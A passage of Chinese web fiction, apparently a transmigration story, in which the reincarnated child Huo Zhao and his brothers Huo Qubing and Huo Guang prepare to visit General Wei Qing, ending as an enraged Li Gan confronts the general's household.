他从小跟着舅舅长大,对他而言舅舅和父亲差不多,他之前去平阳的时候也没有特意避开俩弟弟的母亲,俩弟弟到长安自然不用特意避开舅舅。 哦,母亲也不用避,下次再去陈家还得带上他们一起。 霍昭对明天的行程有点期待,“刚才街上人太多了,我都没有看清大将军的模样,阿兄放心,明天我一定特别特别特别乖。” 务必给大将军留下最好的印象。 霍去病想想回来路上和舅舅说的那些话,眼神略显飘忽,但看上去还是那个可靠的不能再可靠的兄长,“嗯,我们家阿昭最乖了。” 天生神力还会上房揭瓦的那种“乖”。 虽然上房是为了给他做演示,但是臭小子在房顶上跑来跑去真的把他吓到了。 冠军侯府和寻常民宅不一样,那么高的宅子摔下来真的会出人命。 明天就要去见“柔弱可怜”的大司马大将军,系统在识海空间中严阵以待,打定主意要在正式见面之前把宿主的认知掰回来。 计划赶不上变化,霍昭昭同学为了能精神饱满的去见大将军,特意决定今天晚上早点休息。 也就是说,睡前小课堂他要请假。 系统和它的小黑板面面相觑,看着闭上眼睛说睡就睡的宿主无能狂怒。 ——这个!年纪!怎么!睡得着的! 然而身为一个爱护宿主的好系统,大晚上的它也不能把孩子强行喊起来学习,因此只能对着小黑板生闷气。 虽然宿主在霍去病和电视剧的影响下对卫青的滤镜有点离谱,但是卫大将军真的是个温和好脾气的人,见到真人之前都有那么重的滤镜,见到真人后还掰的过来吗? 发愁.jpg 霍昭才不管那么多,早睡早起身体棒,起床后直接去主院和兄长一起练剑,练一会儿然后吃早饭,吃过饭就能出门了。 他上辈子没学过剑,这辈子来长安之前更没机会学剑,不过他们家冠军哥剑术高明,随便教他几招也能让他看上去像模像样。 剑乃君子之器,别管会不会当官之后都得佩剑,都学都学都学。 兄弟俩都不是第一次去大将军府,只是之前去的时候卫青不在,想想还是有点紧张。 霍光遇到事情容易吃不下饭,想到待会儿要见大将军就食不下咽。霍昭没这个烦恼,天大地大吃饭最大,天塌下来都没有吃饭重要。 “舅舅脾气很好,不用害怕。”霍去病去大将军府比回自己家都熟,看反应截然不同的两个弟弟安慰道,“待会儿上门也只是话家常,第一次见面舅舅不会考校你们的功课。” 第一次见面不会考校功课,接下来见面就说不准了。 霍昭嘶了一声,小声嘟囔,“难怪阴安侯要带着师傅逃跑。” 真正的小孩儿遇到这种严格的父亲就是有可能想方设法的逃滑,没关系,他不一样,他是假小孩儿哈哈哈哈哈哈。 为了迁就两个弟弟,冠军侯出行难得坐了马车,然而马车还没到大将军府门口就远远听到吵闹的声音。 新上任的郎中令李敢两眼通红,拿剑的手气的都在发抖,“让开!或者让卫青出来见我!”